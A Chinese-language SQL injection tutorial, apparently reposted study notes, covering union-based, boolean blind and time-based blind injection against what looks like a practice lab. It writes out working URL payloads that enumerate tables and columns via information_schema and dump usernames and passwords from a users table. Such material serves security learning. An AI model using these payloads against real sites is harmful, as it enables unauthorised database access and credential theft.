【SQL注入】类型注入、盲注、时间注入


SQL注入流程

1.查找前端页面与后端数据库存在交互的地方,比如:url、搜索框、登陆点等
2.判断注入类型
3.字段数
4.有无回显,显示位置
5.库名、表名、字段名、数据

字符型注入

代码中SQL查询语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合字符
'
"
')
")
'))
"))

1.判断注入类型
?id=1' and 1=1 --+


?id=1' and 1=2 --+


2.字段数
判断存在多少字段

order by 3
group by 3

判断三个字段时,未报错

判断四个字段时,报错,说明存在三个字段

3.有无回显,显示位置

使用联合查询union查看显示位置
?id=-1' union select 1,2,3 --+
查看id等于-1,数据库中找不到等于-1的id值,会报错,然后执行后面的select语句


4.查看库名,表名
库名:database()

表名
id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.查看列名,数据
列名
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+

数据:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

数字型注入

输入单引号,将字原封不动的带到数据库中,叫做数字型注入,把闭合符号去掉进行注入
代码中查询语句:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

盲注

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

盲注不会直接显示数据,可以根据页面返回的变化来判断是否存在注入
?id=1' and 1=1 --+返回You are in...........

?id=1' and 1=2 --+无返回
可以判断,存在字符型的sql盲注,并且有回显

判断数据库名称的长度,数据库长度等于8时,返回正确页面

判断库名
截取database()数据库名的第一个字符,判断是否等于s,返回成功则库名第一个字符是s

第二个字符是e

以此类推
表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+
列名
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=114 --+

时间盲注

在页面不回显,也看不到任何区别时,可以通过浏览器和服务器之间的响应速度来判断是否存在注入。
如果数据库的长度是8位,那么就延迟5秒钟

表名,列名以此类推


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM